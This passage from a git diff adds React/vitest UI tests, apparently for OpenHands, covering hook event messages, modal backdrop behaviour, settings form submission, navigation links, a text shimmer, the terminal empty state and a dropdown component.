+      timestamp: "2026-07-12T00:00:00.000Z",
+      source: "agent",
+      kind: "ConversationStateUpdateEvent",
+      key: "execution_status",
+      value: "idle",
+    } as unknown as OpenHandsEvent;
+
+    const { container } = render(<HookExecutionEventMessage event={event} />);
+
+    expect(container).toBeEmptyDOMElement();
+  });
+
+  it.each([
+    ["PreToolUse", "⏳"],
+    ["PostToolUse", "✅"],
+    ["UserPromptSubmit", "📝"],
+    ["SessionStart", "🚀"],
+    ["SessionEnd", "🏁"],
+    ["Stop", "⏹️"],
+    ["FutureHook", "🔗"],
+  ])("uses the expected icon for %s hooks", (hookType, icon) => {
+    renderHookEvent({
+      hook_event_type: hookType as HookExecutionEvent["hook_event_type"],
+    });
+
+    const message = screen.getByTestId("generic-event-message");
+    expect(message).toHaveTextContent(
+      `${icon} ${I18nKey.HOOK$HOOK_LABEL}: ${hookType}`,
+    );
+    expect(message).toHaveAttribute("data-success", "success");
+    expect(screen.getByText("ok")).toHaveClass(
+      "bg-green-900/50",
+      "text-green-300",
+    );
+  });
+
+  it("shows all available metadata for a blocked hook", () => {
+    renderHookEvent({
+      hook_event_type: "PostToolUse",
+      hook_command: "check-policy",
+      success: false,
+      blocked: true,
+      exit_code: 13,
+      reason: "Command denied by policy",
+      tool_name: "terminal",
+      stdout: "policy output",
+      stderr: "policy warning",
+      error: "hook failed",
+      additional_context: "workspace is protected",
+    });
+
+    const message = screen.getByTestId("generic-event-message");
+    expect(message).toHaveAttribute("data-success", "none");
+    expect(message).toHaveTextContent(
+      `🚫 ${I18nKey.HOOK$HOOK_LABEL}: PostToolUse`,
+    );
+    expect(screen.getByText("(terminal)")).toBeInTheDocument();
+    expect(screen.getByText("blocked")).toHaveClass(
+      "ml-2",
+      "px-1",
+      "py-0.5",
+      "rounded",
+      "text-xs",
+      "bg-amber-900/50",
+      "text-amber-300",
+    );
+    expect(message).toHaveTextContent(`${I18nKey.HOOK$COMMAND}: check-policy`);
+    expect(message).toHaveTextContent(`${I18nKey.HOOK$EXIT_CODE}: 13`);
+    expect(message).toHaveTextContent(
+      `${I18nKey.HOOK$BLOCKED_REASON}: Command denied by policy`,
+    );
+    expect(message).toHaveTextContent(
+      `${I18nKey.HOOK$CONTEXT}: workspace is protected`,
+    );
+    expect(message).toHaveTextContent(`${I18nKey.HOOK$ERROR}: hook failed`);
+    expect(message).toHaveTextContent(`${I18nKey.HOOK$OUTPUT}:policy output`);
+    expect(message).toHaveTextContent(`${I18nKey.HOOK$STDERR}:policy warning`);
+  });
+
+  it("shows a failed status and truncates commands longer than 80 characters", () => {
+    const longCommand = "x".repeat(100);
+    renderHookEvent({
+      hook_command: longCommand,
+      success: false,
+      reason: "not shown unless blocked",
+    });
+
+    const message = screen.getByTestId("generic-event-message");
+    expect(message).toHaveAttribute("data-success", "error");
+    expect(screen.getByText("failed")).toHaveClass(
+      "bg-red-900/50",
+      "text-red-300",
+    );
+    expect(screen.getByText(`${"x".repeat(77)}...`)).toBeInTheDocument();
+    expect(message).not.toHaveTextContent(longCommand);
+    expect(message).not.toHaveTextContent(I18nKey.HOOK$BLOCKED_REASON);
+  });
+
+  it("keeps an exactly 80-character command intact", () => {
+    const command = "y".repeat(80);
+    renderHookEvent({ hook_command: command });
+
+    expect(screen.getByText(command)).toBeInTheDocument();
+    expect(screen.getByTestId("generic-event-message")).not.toHaveTextContent(
+      `${"y".repeat(77)}...`,
+    );
+  });
+
+  it("omits a blocked-reason row when a blocked hook has no reason", () => {
+    renderHookEvent({ blocked: true, reason: null });
+
+    const message = screen.getByTestId("generic-event-message");
+    expect(message).toHaveAttribute("data-success", "none");
+    expect(message).not.toHaveTextContent(I18nKey.HOOK$BLOCKED_REASON);
+  });
+
+  it("omits the exit-code row when no exit code is available", () => {
+    renderHookEvent({ exit_code: null });
+
+    expect(screen.getByTestId("generic-event-message")).not.toHaveTextContent(
+      I18nKey.HOOK$EXIT_CODE,
+    );
+  });
+});
diff --git a/__tests__/components/shared/modals/modal-backdrop.test.tsx b/__tests__/components/shared/modals/modal-backdrop.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..672c50aaddbad0dcfaad54b305484aadf34d648b
--- /dev/null
+++ b/__tests__/components/shared/modals/modal-backdrop.test.tsx
@@ -0,0 +1,113 @@
+import { describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+
+import { ModalBackdrop } from "#/components/shared/modals/modal-backdrop";
+
+describe("ModalBackdrop", () => {
+  it("portals out of a transformed ancestor so position: fixed resolves against the viewport", () => {
+    // Arrange: a transformed ancestor would otherwise become the
+    // containing block for `position: fixed` descendants and trap the
+    // modal inside it (the OnboardingModal / InstallServerModal bug).
+    render(
+      <div data-testid="transformed-ancestor" style={{ transform: "translateX(0)" }}>
+        <ModalBackdrop onClose={vi.fn()}>
+          <p>modal content</p>
+        </ModalBackdrop>
+      </div>,
+    );
+
+    // Act
+    const dialog = screen.getByRole("dialog");
+    const transformedAncestor = screen.getByTestId("transformed-ancestor");
+
+    // Assert
+    expect(transformedAncestor.contains(dialog)).toBe(false);
+    expect(document.body.contains(dialog)).toBe(true);
+  });
+
+  it("calls onClose when the user presses Escape", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    render(
+      <ModalBackdrop onClose={onClose}>
+        <p>modal content</p>
+      </ModalBackdrop>,
+    );
+
+    // Act
+    await user.keyboard("{Escape}");
+
+    // Assert
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("calls onClose when the backdrop is clicked but not when the content is clicked", async () => {
+    // Arrange
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    render(
+      <ModalBackdrop onClose={onClose}>
+        <button type="button">inside content</button>
+      </ModalBackdrop>,
+    );
+
+    // Act: click the content first — this must NOT close.
+    await user.click(screen.getByRole("button", { name: "inside content" }));
+    const callsAfterContentClick = onClose.mock.calls.length;
+
+    // Act: now click the backdrop overlay (the dialog root's backdrop child).
+    const dialog = screen.getByRole("dialog");
+    const backdrop = dialog.firstElementChild as HTMLElement;
+    await user.click(backdrop);
+
+    // Assert
+    expect(callsAfterContentClick).toBe(0);
+    expect(onClose).toHaveBeenCalledTimes(1);
+  });
+
+  it("does not call onClose when the backdrop is clicked and closeOnBackdropClick is false", async () => {
+    const user = userEvent.setup();
+    const onClose = vi.fn();
+    render(
+      <ModalBackdrop onClose={onClose} closeOnBackdropClick={false}>
+        <button type="button">inside content</button>
+      </ModalBackdrop>,
+    );
+
+    const dialog = screen.getByRole("dialog");
+    const backdrop = dialog.firstElementChild as HTMLElement;
+    await user.click(backdrop);
+
+    expect(onClose).not.toHaveBeenCalled();
+  });
+
+  it("stacks above the default modal layer when elevated", () => {
+    // Arrange: a default backdrop (the layer the onboarding modal uses) and an
+    // elevated backdrop (the layer the telemetry consent banner opts into).
+    render(
+      <>
+        <ModalBackdrop aria-label="default-modal">
+          <p>default modal</p>
+        </ModalBackdrop>
+        <ModalBackdrop elevated aria-label="elevated-modal">
+          <p>elevated modal</p>
+        </ModalBackdrop>
+      </>,
+    );
+
+    // Act: read the numeric stacking layer each modal renders on. jsdom cannot
+    // compute paint order, so compare the z-index the overlay carries.
+    const layerOf = (name: string) =>
+      Number(
+        screen
+          .getByRole("dialog", { name })
+          .className.match(/z-\[?(\d+)\]?/)?.[1] ?? 0,
+      );
+
+    // Assert: the elevated modal paints above the default one regardless of
+    // mount order, so the consent banner is never covered by the onboarding modal.
+    expect(layerOf("elevated-modal")).toBeGreaterThan(layerOf("default-modal"));
+  });
+});
diff --git a/__tests__/components/shared/modals/settings/settings-form.test.tsx b/__tests__/components/shared/modals/settings/settings-form.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1ec063919642245c4b4af51df2b39d4a18a7c664
--- /dev/null
+++ b/__tests__/components/shared/modals/settings/settings-form.test.tsx
@@ -0,0 +1,146 @@
+import { fireEvent, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { renderWithProviders } from "test-utils";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import { SettingsForm } from "#/components/shared/modals/settings/settings-form";
+import { DEFAULT_SETTINGS } from "#/services/settings";
+import { getAgentSettingValue } from "#/utils/sdk-settings-schema";
+
+const trackSettingsSavedMock = vi.fn();
+vi.mock("#/hooks/use-tracking", () => ({
+  useTracking: () => ({
+    trackSettingsSaved: trackSettingsSavedMock,
+  }),
+}));
+
+describe("SettingsForm", () => {
+  const onCloseMock = vi.fn();
+  const saveSettingsSpy = vi.spyOn(SettingsService, "saveSettings");
+
+  // The persisted llm.model is "openhands/<m>"; ModelSelector splits it into
+  // provider ("openhands" → "OpenHands") and model name ("<m>") and feeds
+  // them into two autocompletes. extractSettings reconstructs llm.model
+  // from those two FormData entries on submit, so we wait for the model
+  // autocomplete to be populated before triggering submission — otherwise
+  // the spy would be called with model = undefined.
+  const expectedModel = getAgentSettingValue(
+    DEFAULT_SETTINGS,
+    "llm.model",
+  ) as string;
+  const expectedModelName = expectedModel.split("/").slice(1).join("/");
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    saveSettingsSpy.mockResolvedValue(true);
+  });
+
+  it("should save the user settings and close the modal when submitted outside a conversation route", async () => {
+    renderWithProviders(
+      <SettingsForm settings={DEFAULT_SETTINGS} onClose={onCloseMock} />,
+      {
+        navigation: { currentPath: "/settings" },
+      },
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("llm-model-input")).toHaveValue(
+        expectedModelName,
+      );
+    });
+
+    // The Autocomplete popover may be open at this point; click on the save
+    // button can be consumed by the outside-click handler. Submit the form
+    // element directly — the production onSubmit handler is what we're
+    // exercising here, not the click semantics.
+    fireEvent.submit(screen.getByTestId("settings-form"));
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          agent_settings_diff: expect.objectContaining({
+            llm: expect.objectContaining({
+              model: expectedModel,
+            }),
+          }),
+        }),
+      );
+    });
+    await waitFor(() => {
+      expect(onCloseMock).toHaveBeenCalled();
+    });
+  });
+
+  it("should confirm before saving when submitted from a conversation route", async () => {
+    const user = userEvent.setup();
+    renderWithProviders(
+      <SettingsForm settings={DEFAULT_SETTINGS} onClose={onCloseMock} />,
+      {
+        navigation: {
+          currentPath: "/conversations/test-conversation-id",
+          conversationId: "test-conversation-id",
+        },
+      },
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("llm-model-input")).toHaveValue(
+        expectedModelName,
+      );
+    });
+
+    fireEvent.submit(screen.getByTestId("settings-form"));
+
+    expect(saveSettingsSpy).not.toHaveBeenCalled();
+
+    // The confirm modal mounts after the form submit handler runs the
+    // conversation-route branch, so wait for it instead of using a sync
+    // getByRole.
+    const confirmButton = await screen.findByRole("button", {
+      name: /BUTTON\$END_SESSION|end session/i,
+    });
+
+    await user.click(confirmButton);
+
+    await waitFor(() => {
+      expect(saveSettingsSpy).toHaveBeenCalledWith(
+        expect.objectContaining({
+          agent_settings_diff: expect.objectContaining({
+            llm: expect.objectContaining({
+              model: expectedModel,
+            }),
+          }),
+        }),
+      );
+    });
+    await waitFor(() => {
+      expect(onCloseMock).toHaveBeenCalled();
+    });
+  });
+
+  it("calls trackSettingsSaved with LLM details when form is submitted", async () => {
+    renderWithProviders(
+      <SettingsForm settings={DEFAULT_SETTINGS} onClose={onCloseMock} />,
+      {
+        navigation: { currentPath: "/settings" },
+      },
+    );
+
+    await waitFor(() => {
+      expect(screen.getByTestId("llm-model-input")).toHaveValue(
+        expectedModelName,
+      );
+    });
+
+    fireEvent.submit(screen.getByTestId("settings-form"));
+
+    await waitFor(() => {
+      expect(trackSettingsSavedMock).toHaveBeenCalledWith(
+        expect.objectContaining({
+          llmApiKeySet: expect.stringMatching(/^(SET|UNSET)$/),
+          searchApiKeySet: expect.stringMatching(/^(SET|UNSET)$/),
+        }),
+      );
+    });
+  });
+});
diff --git a/__tests__/components/shared/modals/settings/settings-modal.test.tsx b/__tests__/components/shared/modals/settings/settings-modal.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..a829aefd1074bca9fb39ee7283f5462dac674478
--- /dev/null
+++ b/__tests__/components/shared/modals/settings/settings-modal.test.tsx
@@ -0,0 +1,27 @@
+import { describe, expect, it, vi } from "vitest";
+import { screen } from "@testing-library/react";
+import { MemoryRouter } from "react-router";
+import { renderWithProviders } from "test-utils";
+import { SettingsModal } from "#/components/shared/modals/settings/settings-modal";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+
+describe("SettingsModal", () => {
+  it("renders an advanced settings link that opens in a new window", () => {
+    renderWithProviders(
+      <MemoryRouter>
+        <SettingsModal
+          onClose={vi.fn()}
+          settings={MOCK_DEFAULT_USER_SETTINGS}
+        />
+      </MemoryRouter>,
+    );
+
+    const advancedSettingsLink = screen.getByTestId("advanced-settings-link");
+    const linkElement = advancedSettingsLink.querySelector("a");
+
+    expect(linkElement).toBeInTheDocument();
+    expect(linkElement).toHaveAttribute("href", "/settings");
+    expect(linkElement).toHaveAttribute("target", "_blank");
+    expect(linkElement).toHaveAttribute("rel", "noreferrer noopener");
+  });
+});
diff --git a/__tests__/components/shared/navigation-link.test.tsx b/__tests__/components/shared/navigation-link.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..ddaa3edb215c137e170f6e65e6e93ea7270bb667
--- /dev/null
+++ b/__tests__/components/shared/navigation-link.test.tsx
@@ -0,0 +1,82 @@
+import { render, screen, fireEvent } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import {
+  NavigationProvider,
+  type NavigationContextValue,
+} from "#/context/navigation-context";
+import { NavigationLink } from "#/components/shared/navigation-link";
+
+function renderNavigationLink(
+  currentPath = "/",
+  overrides: Partial<NavigationContextValue> = {},
+  to = "/settings/mcp",
+) {
+  const value: NavigationContextValue = {
+    currentPath,
+    conversationId: null,
+    isNavigating: false,
+    navigate: vi.fn(),
+    ...overrides,
+  };
+
+  const result = render(
+    <NavigationProvider value={value}>
+      <NavigationLink to={to}>MCP</NavigationLink>
+    </NavigationProvider>,
+  );
+
+  return {
+    ...result,
+    navigate: value.navigate,
+  };
+}
+
+describe("NavigationLink", () => {
+  it("renders the destination href and active state from navigation context", () => {
+    renderNavigationLink("/settings/mcp");
+
+    expect(screen.getByRole("link", { name: "MCP" })).toHaveAttribute(
+      "href",
+      "/settings/mcp",
+    );
+    expect(screen.getByRole("link", { name: "MCP" })).toHaveAttribute(
+      "aria-current",
+      "page",
+    );
+  });
+
+  it("uses the injected navigate callback on click", () => {
+    const { navigate } = renderNavigationLink();
+    const link = screen.getByRole("link", { name: "MCP" });
+
+    fireEvent.click(link);
+
+    expect(navigate).toHaveBeenCalledWith("/settings/mcp", {
+      replace: false,
+    });
+  });
+
+  it("stays active when the destination carries a query string", () => {
+    renderNavigationLink(
+      "/conversations/abc",
+      {},
+      "/conversations/abc?backend=local-1",
+    );
+
+    const link = screen.getByRole("link", { name: "MCP" });
+    expect(link).toHaveAttribute("href", "/conversations/abc?backend=local-1");
+    expect(link).toHaveAttribute("aria-current", "page");
+  });
+
+  it("does not mark a sibling path active because of a query string", () => {
+    renderNavigationLink(
+      "/conversations/other",
+      {},
+      "/conversations/abc?backend=local-1",
+    );
+
+    expect(screen.getByRole("link", { name: "MCP" })).not.toHaveAttribute(
+      "aria-current",
+    );
+  });
+});
diff --git a/__tests__/components/shared/text-shimmer.test.tsx b/__tests__/components/shared/text-shimmer.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8abf93dc56e48439d77fa07148cef1390b9b1cca
--- /dev/null
+++ b/__tests__/components/shared/text-shimmer.test.tsx
@@ -0,0 +1,30 @@
+import { describe, expect, it, vi } from "vitest";
+import { render, screen } from "@testing-library/react";
+import { TextShimmer } from "#/components/shared/text-shimmer";
+
+vi.mock("framer-motion", async () => {
+  const actual = await vi.importActual<typeof import("framer-motion")>(
+    "framer-motion",
+  );
+  return {
+    ...actual,
+    useReducedMotion: () => false,
+  };
+});
+
+describe("TextShimmer", () => {
+  it("renders with a clipped dual-layer shimmer background", () => {
+    render(
+      <TextShimmer data-testid="shimmer" duration={3} spread={2}>
+        Sending...
+      </TextShimmer>,
+    );
+
+    const shimmer = screen.getByTestId("shimmer");
+    expect(shimmer.style.backgroundImage).toContain("repeating-linear-gradient");
+    expect(shimmer.style.backgroundImage).toContain("var(--oh-foreground)");
+    expect(shimmer.style.backgroundImage).toContain("var(--oh-muted)");
+    expect(shimmer.style.backgroundSize).toBe("200% 100%");
+    expect(shimmer.style.animation).toContain("oh-text-shimmer-");
+  });
+});
diff --git a/__tests__/components/terminal/terminal-empty-state.test.tsx b/__tests__/components/terminal/terminal-empty-state.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..256e994c8ad3d2d04e089e8154ec63085fa1366f
--- /dev/null
+++ b/__tests__/components/terminal/terminal-empty-state.test.tsx
@@ -0,0 +1,73 @@
+import { screen } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach } from "vitest";
+import { useCommandStore } from "#/stores/command-store";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+
+vi.mock("#/hooks/use-agent-state");
+
+const mockTerminalInstance = {
+  open: vi.fn(),
+  write: vi.fn(),
+  writeln: vi.fn(),
+  dispose: vi.fn(),
+  loadAddon: vi.fn(),
+};
+
+vi.mock("@xterm/xterm", async (importOriginal) => ({
+  ...(await importOriginal<typeof import("@xterm/xterm")>()),
+  Terminal: vi.fn(function MockTerminal() {
+    return mockTerminalInstance;
+  }),
+}));
+
+vi.mock("@xterm/addon-fit", () => ({
+  FitAddon: vi.fn(function MockFitAddon() {
+    return { fit: vi.fn() };
+  }),
+}));
+
+import { renderWithProviders } from "test-utils";
+import Terminal from "#/components/features/terminal/terminal";
+
+describe("Terminal empty state", () => {
+  beforeEach(() => {
+    useCommandStore.setState({ commands: [] });
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.RUNNING,
+    });
+    global.ResizeObserver = vi.fn(function MockResizeObserver() {
+      return {
+        observe: vi.fn(),
+        disconnect: vi.fn(),
+      };
+    }) as unknown as typeof ResizeObserver;
+  });
+
+  it("shows the empty state when runtime is active and there is no output", () => {
+    renderWithProviders(<Terminal />);
+
+    expect(screen.getByText("TERMINAL$NO_OUTPUT")).toBeInTheDocument();
+  });
+
+  it("hides the empty state when terminal commands exist", () => {
+    useCommandStore.setState({
+      commands: [{ type: "output", content: "hello" }],
+    });
+
+    renderWithProviders(<Terminal />);
+
+    expect(screen.queryByText("TERMINAL$NO_OUTPUT")).not.toBeInTheDocument();
+  });
+
+  it("shows the runtime waiting state instead of the empty state when inactive", () => {
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.LOADING,
+    });
+
+    renderWithProviders(<Terminal />);
+
+    expect(screen.queryByText("TERMINAL$NO_OUTPUT")).not.toBeInTheDocument();
+    expect(screen.getByTestId("runtime-waiting")).toBeInTheDocument();
+  });
+});
diff --git a/__tests__/components/ui/dropdown.test.tsx b/__tests__/components/ui/dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..edec8ba4965c6787887fb82bbcba0b39ac98bd1d
--- /dev/null
+++ b/__tests__/components/ui/dropdown.test.tsx
@@ -0,0 +1,429 @@
+import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { describe, it, expect, vi } from "vitest";
+import { Dropdown } from "#/ui/dropdown/dropdown";
+
+const mockOptions = [
+  { value: "1", label: "Option 1" },
+  { value: "2", label: "Option 2" },
+  { value: "3", label: "Option 3" },
+];
+
+describe("Dropdown", () => {
+  describe("Trigger", () => {
+    it("should render a custom trigger button", () => {
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+
+      expect(trigger).toBeInTheDocument();
+    });
+
+    it("should open dropdown on trigger click", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      expect(screen.queryByText("Option 1")).not.toBeInTheDocument();
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const listbox = screen.getByRole("listbox");
+      expect(listbox).toBeInTheDocument();
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+      expect(screen.getByText("Option 2")).toBeInTheDocument();
+      expect(screen.getByText("Option 3")).toBeInTheDocument();
+    });
+  });
+
+  describe("Type-ahead / Search", () => {
+    it("should filter options based on input text", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      await user.type(input, "Option 1");
+
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+      expect(screen.queryByText("Option 2")).not.toBeInTheDocument();
+      expect(screen.queryByText("Option 3")).not.toBeInTheDocument();
+    });
+
+    it("should be case-insensitive by default", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      await user.type(input, "option 1");
+
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+      expect(screen.queryByText("Option 2")).not.toBeInTheDocument();
+    });
+
+    it("should show all options when search is cleared", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      await user.type(input, "Option 1");
+      await user.clear(input);
+
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+      expect(screen.getByText("Option 2")).toBeInTheDocument();
+      expect(screen.getByText("Option 3")).toBeInTheDocument();
+    });
+  });
+
+  describe("Empty state", () => {
+    it("should display empty state when no options provided", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={[]} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      expect(screen.getByText("No options")).toBeInTheDocument();
+    });
+
+    it("should render custom empty state message", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={[]} emptyMessage="Nothing found" />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      expect(screen.getByText("Nothing found")).toBeInTheDocument();
+    });
+  });
+
+  describe("Single selection", () => {
+    it("should select an option on click", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const option = screen.getByText("Option 1");
+      await user.click(option);
+
+      expect(screen.getByRole("combobox")).toHaveValue("Option 1");
+    });
+
+    it("should close dropdown after selection", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByText("Option 1"));
+
+      expect(screen.queryByText("Option 2")).not.toBeInTheDocument();
+    });
+
+    it("should display selected option in input", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByText("Option 1"));
+
+      expect(screen.getByRole("combobox")).toHaveValue("Option 1");
+    });
+
+    it("should highlight currently selected option in list", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      await user.click(trigger);
+
+      const selectedOption = screen.getByRole("option", { name: "Option 1" });
+      expect(selectedOption).toHaveAttribute("aria-selected", "true");
+    });
+
+    it("should clear the search input and show all options when reopening dropdown", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      // Reopen the dropdown
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      expect(input).toHaveValue("");
+      expect(
+        screen.getByRole("option", { name: "Option 1" }),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByRole("option", { name: "Option 2" }),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByRole("option", { name: "Option 3" }),
+      ).toBeInTheDocument();
+    });
+  });
+
+  describe("Clear button", () => {
+    it("should not render clear button by default", () => {
+      render(<Dropdown options={mockOptions} />);
+
+      expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument();
+    });
+
+    it("should render clear button when clearable prop is true and has value", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} clearable />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      expect(screen.getByTestId("dropdown-clear")).toBeInTheDocument();
+    });
+
+    it("should clear selection and search input when clear button is clicked", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} clearable />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      const clearButton = screen.getByTestId("dropdown-clear");
+      await user.click(clearButton);
+
+      expect(screen.getByRole("combobox")).toHaveValue("");
+    });
+
+    it("should not render clear button when there is no selection", () => {
+      render(<Dropdown options={mockOptions} clearable />);
+
+      expect(screen.queryByTestId("dropdown-clear")).not.toBeInTheDocument();
+    });
+
+    it("should show placeholder after clearing selection", async () => {
+      const user = userEvent.setup();
+      render(
+        <Dropdown
+          options={mockOptions}
+          clearable
+          placeholder="Select an option"
+        />,
+      );
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      const clearButton = screen.getByTestId("dropdown-clear");
+      await user.click(clearButton);
+
+      const input = screen.getByRole("combobox");
+      expect(input).toHaveValue("");
+    });
+  });
+
+  describe("Loading state", () => {
+    it("should not display loading indicator by default", () => {
+      render(<Dropdown options={mockOptions} />);
+
+      expect(screen.queryByTestId("dropdown-loading")).not.toBeInTheDocument();
+    });
+
+    it("should display loading indicator when loading prop is true", () => {
+      render(<Dropdown options={mockOptions} loading />);
+
+      expect(screen.getByTestId("dropdown-loading")).toBeInTheDocument();
+    });
+
+    it("should disable interaction while loading", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} loading />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      expect(trigger).toHaveAttribute("aria-expanded", "false");
+    });
+  });
+
+  describe("Disabled state", () => {
+    it("should not open dropdown when disabled", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} disabled />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      expect(trigger).toHaveAttribute("aria-expanded", "false");
+    });
+
+    it("should have disabled attribute on trigger", () => {
+      render(<Dropdown options={mockOptions} disabled />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      expect(trigger).toBeDisabled();
+    });
+  });
+
+  describe("Placeholder", () => {
+    it("should display placeholder text when no value selected", () => {
+      render(<Dropdown options={mockOptions} placeholder="Select an option" />);
+
+      const input = screen.getByRole("combobox");
+      expect(input).toHaveAttribute("placeholder", "Select an option");
+    });
+  });
+
+  describe("Default value", () => {
+    it("should display defaultValue in input on mount", () => {
+      render(<Dropdown options={mockOptions} defaultValue={mockOptions[0]} />);
+
+      const input = screen.getByRole("combobox");
+      expect(input).toHaveValue("Option 1");
+    });
+
+    it("should show all options when opened with defaultValue", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} defaultValue={mockOptions[0]} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      expect(
+        screen.getByRole("option", { name: "Option 1" }),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByRole("option", { name: "Option 2" }),
+      ).toBeInTheDocument();
+      expect(
+        screen.getByRole("option", { name: "Option 3" }),
+      ).toBeInTheDocument();
+    });
+
+    it("should restore input value when closed with Escape", async () => {
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} defaultValue={mockOptions[0]} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      await user.type(input, "test");
+      await user.keyboard("{Escape}");
+
+      expect(input).toHaveValue("Option 1");
+    });
+  });
+
+  describe("onChange", () => {
+    it("should call onChange with selected item when option is clicked", async () => {
+      const user = userEvent.setup();
+      const onChangeMock = vi.fn();
+      render(<Dropdown options={mockOptions} onChange={onChangeMock} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+      await user.click(screen.getByRole("option", { name: "Option 1" }));
+
+      expect(onChangeMock).toHaveBeenCalledWith(mockOptions[0]);
+    });
+
+    it("should call onChange with null when selection is cleared", async () => {
+      const user = userEvent.setup();
+      const onChangeMock = vi.fn();
+      render(
+        <Dropdown
+          options={mockOptions}
+          clearable
+          defaultValue={mockOptions[0]}
+          onChange={onChangeMock}
+        />,
+      );
+
+      const clearButton = screen.getByTestId("dropdown-clear");
+      await user.click(clearButton);
+
+      expect(onChangeMock).toHaveBeenCalledWith(null);
+    });
+  });
+
+  describe("Controlled mode", () => {
+    it.todo("should reflect external value changes");
+    it.todo("should call onChange when selection changes");
+    it.todo("should not update internal state when controlled");
+  });
+
+  describe("Uncontrolled mode", () => {
+    it.todo("should manage selection state internally");
+    it.todo("should call onChange when selection changes");
+    it.todo("should support defaultValue prop");
+  });
+
